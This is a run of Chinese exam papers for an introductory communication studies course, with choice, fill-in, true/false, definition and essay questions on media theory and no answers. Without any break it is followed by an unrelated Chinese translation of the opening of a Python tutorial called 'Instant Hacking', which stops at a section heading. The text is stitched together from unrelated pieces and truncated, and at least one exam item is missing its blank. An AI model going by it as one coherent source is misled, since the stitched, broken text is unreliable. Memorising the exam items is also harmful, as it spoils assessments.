非选择题(共60分)\n\n三、名词解释题(本大题共4小题，每小题3分，共12分)\n\n36.参照群体\n\n37.意见领袖\n\n38.简单随机抽样\n\n39.信息\n\n四、简答题(本大题共5小题，每小题5分，共25分)\n\n40.什么是阿特休尔有关控制研究的基本观点?\n\n41.从经济角度简要分析传播媒介的主要作用。\n\n42.简述德福勒模式的主要特点。\n\n43.在组织传播中，组织的权威性和传播内容的可信性之间有什么关系?\n\n44.新闻与非新闻信息相比有哪些特殊性?\n\n五、论述题(本大题共2小题，第45小题9分，第46小题14分，共23分)\n\n45.从施控与受控的传播理论角度，说明我国报业集团建立的重要意义。\n\n46.试析网络传播对大众传播产生冲击的原因。\n\n!传播学概论试题\n\n一、单项选择题(在每小题的四个备选答案中，选出一个正确答案，并将正确答案的序号填在题干的括号内。每小题2分，共40分)\n\n1.一般认为，传播理论得到整理和系统化是在( )。\n\nA.20世纪10年代 B.20世纪20年代\n\nC.20世纪30年代 D.20世纪40年代\n\n2.哈罗德·拉斯韦尔的代表作是( )。\n\nA.《解放社会矛盾》 \n\nB.《人民的选择》\n\nC.《世界大战时期的宣传技巧》 \n\nD.《个人影响力：人在大众传播中的作用》\n\n3.库尔特·卢因对传播学的贡献主要是提出了什么概念?( )\n\nA.大众传播 B.社会传播 C.把关人 D.二级传播\n\n4.下列选项中不属于拉斯韦尔模式五环节的是( )。\n\nA.传者 B.媒介 C.效果 D.技巧\n\n5.控制实验法的突出特点是( )。\n\nA.没有变化 B.设计控制 C.取自自然 D.就地实验\n\n6.大众传播的四功能说是下列哪项的具体表现( )。\n\nA.同功异构 B.一构多功 C.同功同构 D.多功多构\n\n7.下列哪项传播功能不是拉扎斯菲尔德等人提出的?( )\n\nA.重申社会准则 B.授予地位 \n\nC.协调社会 D.麻醉精神\n\n8.一般来说，“控制研究”研究的是传播五W中的哪一项?( )\n\nA.谁 B.说什么 C.通过什么渠道 D.对谁说\n\n9.控制研究中的“施控”主要指的是( )。\n\nA.外界因素对传播者的控制 B.传播者对传播过程施以控制\n\nC.传播者对被采访者的控制 D.传播机构对传播者的控制\n\n10.一般认为，传播学中的信息指的是( )。\n\nA.情报资料 B.消除或减少讯息不确定性的量\n\nC.表现特质特征精神属性的东西 D.语言传播的内容\n\n11.符号与意义之间的指代关系是通过( )。\n\nA.某个专家的研究认定的 B.辞典的编写确定的\n\nC.人类约定俗成的 D.语法和逻辑的规则形成的\n\n12.世界上最早的无线电广播台KDKA出现于( )。\n\nA.1865年 B.1920年 C.1936年 D.1901年\n\n13.提出“热媒介冷媒介”区分的是( )。\n\nA.威尔伯·施拉姆 B.哈罗德·英尼斯\n\nC.戈夫曼 D.马歇尔·麦克鲁汉\n\n14.说服性传播研究采用的最主要方法有( )。\n\nA.实验心理学方法 B.个案分析法 \n\nC.抽样调查法 D.内容分析法\n\n15.媒介印象指的是( )。\n\nA.媒介给人的总体感觉 B.对媒介能否满足自己的现实需求的评价\n\nC.对媒介的不同特点的认识 D.对媒介的内容是否优秀的评价\n\n16.下列各项关于舆论权威的说法错误的是( )。\n\nA.舆论权威一般指的是职业传播者中的一员\n\nB.舆论权威具有较大知名度，对公众有影响力\n\nC.舆论权威一般是在长期的大众传播活动中形成的\n\nD.“舆论权威”其实就是“意见领袖”\n\n17.传播学“控制”研究中的“控制”一词的含义理解错误的是( )。\n\nA.传播者对信息流通所进行的干预和影响、左右和操纵\n\nB.传播者既受到外界制度等的制约，又受到自身文化等的主观制约\n\nC.指传播学研究中都对现象用控制实验法进行研究\n\nD.传播者一方面施控于传播过程，一方面又受控于外界各因素\n\n18.知识沟理论假说起源于20世纪（ ）的美国。\n\nA.30年代 B.40年代 C.50年代 D.60年代\n\n19.传播学理论建构的4种类型不包括( )。\n\nA.归纳理论 B.记录 C.机能理论 D.模式\n\n20.研究者按照某种既定的标志将总体分层（分类）后决定其分配比例和数额的抽样形式属于下列选项中的( )。\n\nA.非随机抽样 B.定额抽样 C.分层随机抽样 D.判断抽样\n\n二、多项选择题(在每小题的五个备选答案中，选出二至五个正确的答案，并将正确答案的序号分别填在题干的括号内，多选、少选、错选均不得分。每小题2分，共10分)\n\n21.下列各项中属于批判学派代表人物的有( )。\n\nA.霍克海默 B.阿道尔诺 C.马尔库塞\n\nD.卢因 E.哈贝马斯\n\n22.下列属于宏观效果理论的假说的是( )。\n\nA.两级传播说 B.知识沟假说 C.培养分析\n\nD.议程设置说 E.使用与满足说\n\n23.传播学研究方法的特点主要有( )。\n\nA.科学性 B.操作性 C.平衡性\n\nD.综合性 E.量化性\n\n24.下列属于控制分析中传播主体“谁”这一要素的有( )。\n\nA.记者 B.报社 C.电影制片厂\n\nD.电视摄像 E.通讯社\n\n25.对信息的共享性特点理解正确的有( )。\n\nA.信息交换双方，即传者和受者都有可以享有被交换的同一信息\n\nB.信息一旦出现，一定是被传者和受者同时拥有的\n\nC.信息在交换或交流过程中，可以同时为众多的接受者所接收和利用\n\nD.信息传给了一个人，其他人的信息不会因之而减少\n\nE.信息只有共同拥有才有价值\n\n三、名词解释(每小题3分，共12分)\n\n26.传播\n\n27．布里德“潜网”\n\n28．传播模式\n\n29．传播单位\n\n四、简答题(每小题5分，共20分)\n\n30．简介传播学研究的两大学派。\n\n31．大众传播的社会功能失调主要有哪些具体表现？\n\n32．简述信息科学对传播的影响。\n\n33．简述信息匮乏的后果。\n\n五、论述题(每小题9分，共18分)\n\n34．分析我国各类大众传媒应在竞争中求发展的对策和现状。\n\n35．分析信息高新科技对大众传播的影响。\n\n\n!传播学概论试题\n\n一、填空题（每空1分，共15分）\n\n1.传播学是一门探索和揭示______的本质和规律的科学。\n\n2.在中国大陆，新闻学界于______年开始引进、介绍西方的传播学。\n\n3.“新闻不是信息，而是戏剧”是____________的观点。\n\n4.传播者的______是指普通公民都享有的传播权利，如言论自由权、出版权、著作权、通信自由权等。\n\n5.符号在传播中的功能包括指代功能、表义功能、自律功能、显示功能、认识功能、______。\n\n6.施拉姆以宏观的视野和______的观念来研究传播现象，整合研究成果，把传播研究领域看作永久的居留地。\n\n7.获得行之有效的传播谋略的途径包括完善决策机制、确保情报质量、____________、精选筹划时间。\n\n8.英尼斯的媒介理论陷入了______的因果模式巢臼。\n\n9.施拉姆关于内容选择的数学公式“选择的或然率=报偿的或然率/费力的程度”表明受众满足需要的可能性越小，费力的程度越高，被选择的可能性越。\n\n10.施拉姆等人的著作《报刊的四种理论》中的“报刊”一词，是指______。\n\n11.传播谋略的运筹与决断应遵循有用、有利、有理、______原则。\n\n12.______是研究信息及其运动、传播规律的科学。\n\n13.我国传播学研究的根本任务是______。\n\n14.整体互动模式具有强调整体性和全面性，强调______，强调动态性和发展性，强调实用性和非秩序化等特点。\n\n15.______指的是个人为了推动从事某项活动的意图、愿望、理想、信念等。\n\n二、单项选择题(在每小题的四个备选答案中，选出一个正确答案，并将正确答案的序号填在题干的括号内。每小题1分，共20分)\n\n1. 我国古代“防民之口，甚于防川。”“为川者决之使导，为民者宣之使言。”的言论与下列哪一理论是相似的( )。\n\n A. 排气阀理论 B. 社会关系论\n\n C. 沉默螺旋论 D. 社会参与论\n\n2. 当前，先进的媒介使全世界人民能够在重要新闻发生的一、两分钟内得以获知，这里体现了媒介的( )。\n\n A. 负载性 B. 中介性\n\n C. 扩张性 D. 实体性\n\n3. 下列属于传播学研究的具体方法的是( )。\n\n A. 分析传播的方法 B. 语言学方法\n\n C. 社会学方法 D. 内容分析法\n\n4. 受众有权把他所看到的关于个人生活条件、愿望、需求和痛苦的真实情况告诉别人的权利，称为( )。\n\n A. 选择权 B. 知情权\n\n C. 表达权 D. 反论权\n\n5. 知识匮乏指的是( )。\n\n A. 现在的知识总量低于过去\n\n B. 未来的知识供应量会逐步减少\n\n C. 知识的增长速度在放慢\n\n D. 知识与信息、不同知识间、知识的生产与接受间的不平衡\n\n6. 进行伊里调查，写出《人民的选择》的作者是( )。\n\n A. 拉斯韦尔 B. 勒温\n\n C. 霍夫兰 D. 拉扎斯菲尔德\n\n7. 下列论述正确的是( )。\n\n A. 拉斯韦尔的“五W模式”，香农和韦弗的“数学模式”是双向传播模式\n\n B. 单向传播模式的缺点是忽略了受众的反馈活动，过分强调信息的劝服性\n\n C. 奥斯古德的“双行为模式”，施拉姆的“循环模式”是单向传播模式\n\n D. 双向传播模式反映了信息交流的双向性和复杂性，可以用来分析和解释人类的全部传播现象\n\n8. 下列论述正确的是( )。\n\n A. 随着时间的推移，愉悦性将成为大众传播信息的一个越来越次要的特征\n\n B. 今后，大众传播信息的知识性，将会增强而不会削弱\n\n C. 随着传播科技的进步，信息将不再是时间的易碎品\n\n D. 信息的愉悦性表现为新闻性、真实性、知识性等\n\n9. 深藏不露、秘而不宣的或者是连受众本人也不清楚的接受倾向和意念的动机，称为( )。\n\n A. 深层动机 B. 表层动机\n\n C. 外加动机 D. 内发动机\n\n10. 提出西方媒介体系、东方媒介体系、南方媒介体系的是( )。\n\n A. 威廉斯 B. 施拉姆\n\n C. 赛伯特 D. 阿特休尔\n\n11. 数量准则、质量准则、相关准则、方式准则的说话四原则是由谁提出的( )。\n\n A. 格顿斯 B. 亚里士多德\n\n C. 施拉姆 D. 霍夫兰\n\n12. 下列属于媒介，最具有个性化的是( )。\n\n A. 书写媒介 B. 印刷媒介\n\n C. 广播媒介 D. 互动媒介\n\n13. 德弗勒等人认为“大众传播是一个过程，在这个过程中，职业传播者利用机械媒介广泛、迅速、连续不断地发出讯息，目的是使人数众多、成分复杂的受众分享传播者要表达的含义，并试图以各种方式影响他们”，属于传播的定义的( )。\n\n A. 共享说 B. 影响说\n\n C. 反应说 D. 过程说\n\n14. 信息论的创始人是( )。\n\n A. 香农 B. 维弗\n\n C. 维纳 D. 马可尼\n\n15. 作为个体的传播者将自己的目的与部分受众的需求、兴趣相投合和愿意将人际传播和群体传播中的那种关系引进大众传播的态势，传播者和受众处于( )。\n\n A. 支配关系 B. 疏离关系\n\n C. 圈层关系 D. 服务关系\n\n16. 罗杰斯和休梅克将效果形成划分不包括下列哪个阶段( )。\n\n A. 知晓阶段 B. 兴趣阶段\n\n C. 信服阶段 D. 采用阶段\n\n17. 最早提出传播的负功能——噪音对信号的干扰所造成的不稳定和所传信息与所受信息之间的差别的模式是( )。\n\n A. 双行为模式 B. 循环模式\n\n C. 数学模式 D. 环形模式\n\n18. 隐藏、内含在信息作品之中和传播过程之中，未能充分体现出来的、或者在适当时候有可能要出现接受该作品的受众，称之为( )。\n\n A. 积极选择型受众 B. 随意旁观型受众\n\n C. 现实受众 D. 潜在受众\n\n19. “没有成功即是失败”这一话语对于语言的误用在于( )。\n\n A. 语言与实际混淆 B. 估计极端化\n\n C. 潜意识的投射 D. 误认为同一\n\n20. 那种目的公开，传播者不回避传播意图而且总是让接受者强烈感觉到并很快做出反应的传播，称为( )。\n\n A. 显明性传播 B. 隐蔽性传播\n\n C. 解释性传播 D. 劝服性传播\n\n三、多项选择题(在每小题的五个备选答案中，选出二至五个正确的答案，并将正确答案的序号分别填在题干的括号内，多选、少选、错选均不得分。每小题1分，共10分)\n\n1. 亚里士多德的“对话三要素”包含下面哪些要素( )。\n\n A. 说话者 B. 听者 C. 媒介\n\n D. 话题 E. 激情\n\n2. 受众的本质特征( )。\n\n A. 受动性 B. 能动性 C. 自在性\n\n D. 众多性 E. 混杂性\n\n3. 对于信息超载，正确的论述是( )。\n\n A. 信息超载有利于受众更多更好的接受信息\n\n B. 大众媒介中的信息量大大高于受众所能消费、承受或需要的信息量\n\n C. 大量无关的没用的冗余信息严重干扰了受众对相关有用信息的准确分辨和正确选择\n\n D. 受传者对信息反应的速度远远高于信息传播的速度\n\n E. 个人用于接收、处理信息的时间和能力总是有限的，而大众传播媒介借助新技术新发明传播信息的时间和能量则是可以无限拓展的\n\n4. 优秀传播模式的功能包括( )。\n\n A. 构造功能 B. 解释功能 C. 引导功能\n\n D. 简化功能 E. 预示功能\n\n5. 为什么说“广播是一个从不妨碍我们的朋友”( )。\n\n A. 广播作为背景媒介，听众可以一边做事一边收听\n\n B. 广播视觉冲击力强，能够充分吸引受众的注意力\n\n C. 广播的电波不易受到干扰\n\n D. 广播可以回避电视的黄金时间而在媒介竞争中获得有利地位\n\n E. 广播声情并茂、亲切感人\n\n6. 条件效果论产生的理论背景是( )。\n\n A. 魔弹论和微弱效果论或夸大或贬低了大众传播的效果，而实际可能介于两者之间\n\n B. 以往的效果研究多在传播内容和对象上寻找原因，也许真正的根源是传播技巧\n\n C. 以往的效果研究关注的是长期的效果，忽略了对媒介短期效果的研究\n\n D. 以往的研究思路阻碍了效果理论的发展，需另辟蹊径\n\n E. 微弱效果论暗示人们媒介无害，实际情况需要澄清\n\n7. 传播的目的是希望能发生相应的变化。这里的“相应的变化”包括( )。\n\n A. 态度与行为的改变 B. 情报资料的获得\n\n C. 感情的沟通 D. 精神的愉悦\n\n E. 事实的澄清\n\n8. 为了使编码和译码处于协调一致的理想状态，应该( )。\n\n A. 传播的“线路”通畅，传受双方乐于沟通\n\n B. 传播者与受众必须认识\n\n C. 符号形式与符号内容必须基本对应\n\n D. 符号、表述和文本所承担的传送信息的任务必须分明\n\n E. 编码和译码必须遵循社会公认的规则\n\n9. 守门人的功能包括( )。\n\n A. 检查功能 B. 创作功能 C. 评价功能\n\n D. 传递功能 E. 监视功能\n\n10. 运用传播技巧的准则有( )。\n\n A. 传播技巧要为传播内容服务\n\n B. 传播技巧要与传播谋略错位\n\n C. 传播技巧要为受众接受\n\n D. 传播技巧要为传播媒介服务\n\n E. 传播技巧要灵活运用\n\n四、名词解释（每小题3分，共15分）\n\n1.隐蔽性传播\n\n2.本土化趋势\n\n3.传播规律\n\n4.传播者\n\n5.名片效应\n\n五、简答题（每小题5分，共20分）\n\n1.人际传播的特点是什么？\n\n2.印刷媒介的特点主要有哪些？\n\n3.图象信息有哪些消极作用和积极作用？如何正确看待图象信息？\n\n4.传播技巧和传播技术、传播实践、传播理论、传播规律的联系与区别是什么？\n\n六、论述题（每小题10分，共20分）\n\n1. 个人差异论、社会分类论、社会关系论、满足需要论、受众参与论五种受众理论的主要观点分别是什么？\n\n2. 大众传播效果变化的总趋势是什么？\n\n\n!传播学概论试题\n\n一、填空题(每空1分，共15分)\n\n1. 传播学的学科特点是_______、互动性、开放性、综合性、发展性。\n\n2. 人类传播史上的五次革命包括语言传播革命、书写传播革命、印刷传播革命、_______和互动传播革命。\n\n3. 信息侵略一旦突破了_______的防线，后果将不堪设想。\n\n4. 传播学的研究方法中的横向方法指的是控制论方法、_______、系统论方法“三论”方法。\n\n5. 区别和认识各种不同的传播媒介可以运用_______、参与程度、传播速度、保存时间、媒介威望、传播过程等六种尺度和标准进行分析。\n\n6. 广播可以一边做事一边收听，被人们称为_______媒介。\n\n7. 求新求快、求实重尊、求知得趣、求富重乐、求近重软、求曲重奇、求深重活、求真重美是受众_______的八种表现。\n\n8. 中国大陆在传播学研究中出现的值得重视的研究倾向是重复性、依赖性、_______、实用性。\n\n9. 运用赞扬法要注意四点：真心诚意、明确具体、符合实际、_______。\n\n10. _______、符号、信息是传播媒介的三个构成要素。\n\n11. 媒介信息的主要特征为新闻性、_______、知识性、价值性、真实性、时效性。\n\n12. 非语言符号的作用有补充作用、_______、强调作用、否定作用、重复作用、调节作用。\n\n13. 对于传播者和决策者，在传播谋略策划中，最困难的不是做决策、想主意，而是充分地占有、正确地把握_______。\n\n14. 因为新闻报道是主观对客观的反映，每个记者都有自己的信仰体系，有不同的意识形态。在现实中完全没有成见、像白纸一般的_______报道是不存在的。\n\n15. 意见领袖的形成因素包括价值、信源、知识面、_______、人际交往、社会地位等。\n\n二、单项选择题(在每小题的四个备选答案中，选出一个正确答案，并将正确答案的序号填在题干的括号内。每小题1分，共20分)\n\n1. 符号用来代表什么，叫做( )。\n\n A. 符号的形式 B. 符号具\n\n C. 能指 D. 所指\n\n2. 亚历山大·戈德所说的传播“就是使原为一个人或数人所有的化为两个或更多人所共有的过程”，属于传播的定义的( )。\n\n A. 反应说 B. 影响说\n\n C. 共享说 D. 过程说\n\n3. 对客观事物所作的价值判断、因果分析和理性抉择，着重回答“为什么”、“怎么办”问题的信息是( )。\n\n A. 意见性信息 B. 事实性信息\n\n C. 情绪性信息 D. 现在信息\n\n4. 对信息的采集、鉴别、选择和加工、传播以及搜集反馈信息，共同构成了新闻传播者的哪种责任( )。\n\n A. 法规性责任 B. 社会性责任\n\n C. 契约性责任 D. 国际性责任\n\n5. 偶然接触到媒介内容，没有预先形成某种接受期待、接受定向和接受需要，因而也就没有什么特定媒介内容需要锁定的受众，称为( )。\n\n A. 积极选择型受众 B. 随意旁观型受众\n\n C. 现实受众 D. 潜在受众\n\n6. 守门人理论的创立者是( )。\n\n A. 勒温 B. 拉斯维尔\n\n C. 霍夫兰 D. 拉扎斯菲尔德\n\n7. 英尼斯“谁掌握了报业，谁就掌握了权力”这一观点陷入了( )。\n\n A. 控制决定论 B. 信息决定论\n\n C. 科技决定论 D. 受众决定论\n\n8. 中国传播学者擅长而西方学者不擅长的研究方法是( )。\n\n A. 专向方法 B. 哲学辨证方法\n\n C. 系统论方法 D. 内容分析方法\n\n9. 不属于优秀模式的标准的是( )。\n\n A. 整体性 B. 全面性\n\n C. 启发性 D. 实用性\n\n10. 从受众接受信息的内在机制看，西方著名案例“比戈特先生”的漫画，能充分说明受众的( )。\n\n A. 自在性特点 B. 自述性特点\n\n C. 受动性特点 D. 自主性特点\n\n11. 在中国大陆，新闻学界开始引进、介绍西方的传播学的时间是( )。\n\n A. 1978年 B. 1988年\n\n C. 1984年 D. 1985年\n\n12. 受众群体中的个体在信息接受中所采取的与大多数人相一致的心理和行为的对策倾向的心理效应，称为( )。\n\n A. 威信效应 B. 投射效应\n\n C. 从众效应 D. 晕轮效应\n\n13. 同义词和多义词的现象说明了符号具有( )。\n\n A. 约定性 B. 任意性\n\n C. 组合性 D. 跨越性\n\n14. 西方在接近选举的时候，候选人的照片总是贴满大街小巷，这是为了增加候选人的( )。\n\n A. 权威性 B. 可信性\n\n C. 接近性 D. 熟知性\n\n15. 当人们说“传播媒介”的时候，往往既指其物质实体，又指媒介、符号、信息的混合物，有时甚至泛指媒介机构或媒介组织，这是由于人们过分看重媒介的( )。\n\n A. 中介性 B. 扩张性\n\n C. 实体性 D. 负载性\n\n16. 信息的价值最终取决于( )。\n\n A. 传播者 B. 传播媒介\n\n C. 受众 D. 传播内容\n\n17. 拉扎斯菲尔德在其《大众传播的社会作用》一书中提出了传播负功能是( )。\n\n A. 信息庸俗化 B. 文化殖民化\n\n C. 媒介情景非真实化 D. 麻醉受众神经\n\n18. 下列，不属于传播效果形成的主要因素的是( )。\n\n A. 人的因素 B. 讯息因素\n\n C. 媒介因素 D. 时效因素\n\n19. 信息接受的真正原动力来自于( )。\n\n A. 接受者 B. 传播者\n\n C. 传播媒介 D. 传播内容\n\n20. 传播者能够有意利用媒介内容来影响或控制人们对社会环境和自然环境作出反应，体现谋略运筹与决断的( )。\n\n A. 有理原则 B. 有利原则\n\n C. 有用原则 D. 有节原则\n\n三、多项选择题(在每小题的五个备选答案中，选出二至五个正确的答案，并将正确答案的序号分别填在题干的括号内，多选、少选、错选均不得分。每小题1分，共10分)\n\n1. 下列模式是依据内容和形式的差异进行分类的是( )。\n\n A. 结构性模式 B. 心智模式 C. 言辞模式\n\n D. 数学模式 E. 功能性模式\n\n2. 受众的分布特点包括( )。\n\n A. 自在性 B. 众多性 C. 混杂性\n\n D. 分散性 E. 隐匿性\n\n3. 传播学研究的具体任务是( )。\n\n A. 分析和探讨人类传播的格局和规律\n\n B. 说明和解决人类传播的现象和问题\n\n C. 评估和控制大众媒介对社会大众的影响\n\n D. 审视和澄清社会科学研究中的主要概念\n\n E. 普及传播学知识，引导人们树立正确科学的传播观念，形成健康的传播心态等\n\n4. 下列论述正确的是( )。\n\n A. 传播符号是指表达或负载特定信息或意义的代码或手段\n\n B. 传播媒介是指某些能传递信息和负载符号的形式或物质\n\n C. 传播形式是指传播者进行传播活动时所采用的作用于受众的具体方式\n\n D. 传播载体是指介于传播者与受传者之间，用以负载、扩大、延伸、传递特定符号的物质实体\n\n E. 传播渠道是指传播过程中传受双方沟通、交流信息的各种通道\n\n5. 下列是施拉姆主要代表作的有( )。\n\n A. 《信息化社会与传播学》\n\n B. 《报刊的四种理论》\n\n C. 《大众传媒与国家发展》\n\n D. 《传播学概论》\n\n E. 《大众传播的责任》\n\n6. 信息爆炸的表现为( )。\n\n A. 新闻信息飞速增加 B. 娱乐信息急剧攀升\n\n C. 广告信息铺天盖地 D. 科技信息飞速递增\n\n E. 信息污染日益严重\n\n7. 优秀的传播谋略通常( )。\n\n A. 反映了传受双方谋求利益的动机\n\n B. 适应了受众趋利避害的心理\n\n C. 掌握了解决问题争取主动的突破口\n\n D. 顺应了客观事物发展竞争的规律\n\n E. 反映了受众的反馈信息\n\n8. 互动媒介显著特点包括( )。\n\n A. 高度的综合性 B. 方便性和快捷性\n\n C. 灵活的渗透性 D. 强烈的感染力\n\n E. 充分的交互性\n\n9. 传播者的专业权力包括( )。\n\n A. 采访权 B. 豁免权 C. 批评权\n\n D. 专业保密权 E. 隐私权\n\n10. 下列论述正确的是( )。\n\n A. 人在沉思默想时不用语言\n\n B. 人在沉思默想时也离不开语言\n\n C. 人们沉思默想时进行的是内向传播\n\n D. 人们沉思默想时用的是内部言语\n\n E. 人们沉思默想时用的外部言语是对某种具体语言的运用\n\n四、名词解释（每小题3分，共15分）\n\n1.反论权\n\n2.传播谋略\n\n3.传播原则\n\n4.满足需要论\n\n5.效用信息\n\n五、简答题（每小题5分，共20分）\n\n1. 怎样才能获得行之有效的传播谋略？\n\n2. 魔弹效果论是传播学者杜撰的吗？\n\n3. 受众顺向心理形成的主要原因有哪些？\n\n4. 为什么说世界上没有不受控制和约束的新闻自由？\n\n六、论述题（每小题10分，共20分）\n\n1. 信息侵略的性质、危害是什么？如何抵御西方的信息侵略？\n\n2. 论报纸在信息传播中的优势与劣势。\n\n\n!传播学概论试题\n\n一、填空题(每空1分，共14分)\n\n1.传播学研究的具体方法主要有调查研究法、____________、控制实验法、个案研究法等。\n\n2.传播原则是依据已发现的传播规律和一定的____________，对传播者、守门人和管理者提出的在传播过程中必须遵循的指导思想和基本要求。\n\n3.信息侵略一旦突破____________的防线，后果将不堪设想。\n\n4.广播可以让听众一边做事一边收听，被称为____________媒介。\n\n5.动机具有激活功能、指向功能和_______________功能。\n\n6.传播效果的形成因素有四个方面：人的因素、__________、媒介因素和环境因素。\n\n7.互动传播与传统的印刷传播、电讯传播不同，它具有自己的主动性、___________、交谈性和操作性的特点。\n\n8.对于传播者的研究，可以分成三个分析层次：一是职业传播者作为分析的对象；二是以__________________作为分析的对象；三是以大众传播制度作为探讨的对象。\n\n9.符号的主要特征是任意性、____________、组合性、传播性和跨越性。\n\n10.信息污染包括色情信息、暴力信息、失实信息、图像信息和__________。\n\n11.就受众接受信息的内在机制看，受众具有四个特点：自在性、自主性、__________________性和归属性。\n\n12.在大众传播中，受众的需要说到底是一种_____________、精神需要。\n\n13.传播谋略运筹和决断的原则是有用原则、有利原则、有理原则、_________原则。\n\n14.抗御反面信息的方法通常有两种：滋补法和_______________。\n\n二、单项选择题(在每小题的四个备选答案中，选出一个正确答案，并将正确答案的序号填在题干的括号内。每小题1分，共10分)\n\n15.如果要想使接受者在潜移默化中完全赞同传播者的主张，最好使用( )\n\n A.直接性谋略 B.积累性谋略\n\n C.连续性谋略 D.集束式谋略\n\n16.传播的定义为( )\n\n A.就是精神内容的传播 B.就是通过讯息进行社会互动\n\n C.就是传受两者分享信息 D.就是传受信息以期发生相应变化的行为\n\n17.下列四个概念按其外延逐步扩大的排列应该是( )\n\n A.信息、数据、知识、讯息 B.数据、信息、知识、讯息\n\n C.数据、知识、信息、讯息 D.数据、讯息、信息、知识\n\n18.信息接受的原动力是( )\n\n A.接受者的预期性动机 B.接受者的表层动机\n\n C.接受者的内发动机 D.接受者的替代性动机\n\n19.标志着人类进入真正的大众传播时代的是( )\n\n A.中国唐代印制的《金刚经》 B.德国古登堡印制的《圣经》\n\n C.1833年，美国《纽约太阳报》的诞生 D.中国明朝的《邸报》\n\n20.德弗勒和鲍尔—洛基奇所说的传播学中“尚未探明的研究领域”是指( )\n\n A.传播技巧 B.传播效果\n\n C.传播媒介 D.传播谋略\n\n21.互动媒介最大的优势是( )\n\n A.快捷方便 B.多媒体综合\n\n C.充分的交互性 D.无所不包的信息内容\n\n22.大众媒介信息的最重要的特征是( )\n\n A.时效性 B.真实性\n\n C.知识性 D.新闻性和娱悦性\n\n23.把人类出现在地球上的历史假定为100万年，而后将其比作只有24小时的一天来说明人类的古老和传播的年轻，这种“传播学时钟”的巧妙比喻，其提出者是( )\n\n A.卡尔·塞根 B.菲尔浦·列伯曼\n\n C.罗伯特·芬 D.威尔伯·施拉姆和威廉·波特\n\n24.麦克鲁汉把媒介分成热媒介和冷媒介两大类，下面四种传播媒介中属冷媒介的是( )\n\n A.照片 B.电影\n\n C.印刷品 D.电视\n\n三、多项选择题(在每小题的五个备选答案中，选出二至五个正确的答案，并将正确答案的序号分别填在题干的括号内，多选、少选、错选均不得分。每小题1分，共10分)\n\n25.获取传播技巧的途径包括( )\n\n A.掌握传播理论 B.寻找灵感 C.总结历史经验\n\n D.深入传播实践 E.学习传播技术\n\n26.传播媒介的特点主要有( )\n\n A.实体性 B.中介性 C.负载性\n\n D.还原性 E.扩张性\n\n27.享有免知权意味着以下权利( )\n\n A.受众享有个人独处的权利\n\n B.对个人与公众利益、公众事务无关的私生活进行保密\n\n C.不受新闻媒介打扰和干涉\n\n D.个人的名誉和利益不受害\n\n E.涉及到诉讼媒体也可以不提供信息来源\n\n28.一般说来，在传播者与政府信源的关系模式中，占主导地位的是( )\n\n A.合作关系 B.圈层关系 C.疏离关系\n\n D.分离关系 E.同化关系\n\n29.整体互动模式中的互动指的是( )\n\n A.受者对信息的主动寻求\n\n B.信息的相互沟通、相互交换\n\n C.外部世界对媒介的影响\n\n D.各种传播要素之间的相互制约、相互影响和相互作用\n\n E.信息的相互创造、相互分享\n\n30.知识匮乏其实是指( )\n\n A.知识的供应量低于过去\n\n B.知识的供应量增速减慢\n\n C.信息与知识的增长失衡\n\n D.自然科学知识和社会科学知识增长失衡\n\n E.知识生产和知识接受失衡\n\n31.威尔伯·施拉姆提出的传播四功能说指的是( )\n\n A.雷达功能 B.思想功能 C.控制功能\n\n D.教育功能 E.娱乐功能\n\n32.传播技巧是传播理论的集中表现，其特点主要有( )\n\n A.独立性 B.稳定性 C.创造性\n\n D.艺术性 E.技术性\n\n33.属于大众传播中的反馈特点的有( )\n\n A.直接性 B.及时性 C.零散性\n\n D.累积性 E.迟延性\n\n34.中国大陆传播学的研究可分为( )几个阶段\n\n A.引进与介绍\n\n B.发掘传统，继承精华\n\n C.评价和研究\n\n D.探索和创新\n\n E.多元与普及\n\n四、判断题(判断下列各小题，正确的在题后括号内打“√”，错的打“×”，每小题1分，共10分)\n\n35.新闻不是信息、而是戏剧。( )\n\n36.信息是一种商品，因此，某些国家采取措施抵御信息侵略，其实是在破坏信息的自由流通，性质跟破坏商品的自由流通一样，是错误的行为。( )\n\n37.新闻传播是大众传播的产物。( )\n\n38.符号的功能是靠讯息来传播观念。( )\n\n39.一般的传播活动并不一定具有社会性和阶级性。( )\n\n40.顾客就是上帝，受众总是传播者心目中的上帝。( )\n\n41.魔弹效果论其实根本不存在，只是杜撰而已。( )\n\n42.成功的媒介讯息总是多义性和多价性的。( )\n\n43.符号是传播文本的最小单位。( )\n\n44.判断信息是否有价值，取决于传播者和传播媒介的评估。( )\n\n五、名词解释(每小题3分，共15分)\n\n45.知识\n\n46.守门人\n\n47.传播谋略\n\n48.传播学\n\n49.反馈\n\n六、简答题(每小题5分，共20分)\n\n50.大众传播效果变化的总趋势是什么?\n\n51.新闻传播者应承担哪些责任?\n\n52.如何理解“新闻不是信息，而是戏剧”?\n\n53.为什么说：“大众传播是技巧、艺术和科学的结合”?\n\n七、论述题(第54题10分，第55题11分，共21分)\n\n54.从传播学的观点阐述：为什么世界上没有不受控制和约束的新闻学?\n\n55.新闻媒介在播发新闻时各有长短，请你说说报纸与电视在这一方面有些什么不同。\n\n
一篇不错的Python入门教程[翻译]\n\n@@color(#EE0000): Gonse: py最近被MIT选为教授语言，可以说是新一代的VB。值得一学。@@\n\nInstant Hacking[译文]\n\n这是一篇简短的关于python程序设计语言的入门教程，原文在http://www.hetland.org/python/instant-hacking.php，翻着词典翻译了来！\n\n这是一份对编程艺术的简短介绍，其中的例子是用python写成的。(如果你已经知道了该如何编程，但是想简单了解一下python，你可以查阅我的另一篇文章Instant Python。）这篇文章已经被翻译为意大利、波兰、日本、塞尔维亚以及巴西葡萄亚语等许多种语言，而且正在被翻译为韩语。（译者：当然，现在已经包括了中文版本，只是作者并不知道。）\n\n这篇文章和如何闯入别人的计算机系统之类的东西无关。我不关注那类事情，所以请不要email问我那些东西。\n\n注意：要使此文中的例子正确运行，你应该把它们写在一个文本文件中，然后用解释器运行；不要试图直接在交互方式下运行它们－－不是所有的都可以这样运行。（不要问我和此有关的具体细节。最好查阅python文档或者email给help@python.org）。\n\n1. 运行环境\n\n要用python写程序，你必须先安装一个python的解释器。它可以存在于大多数平台（包括Macintosh、Unix和Windows）。更多与此有关的信息可以在python的网站上找到。你还应该有一个文本编辑器（象emacs、notepad或者类似的东西）。\n\n2. 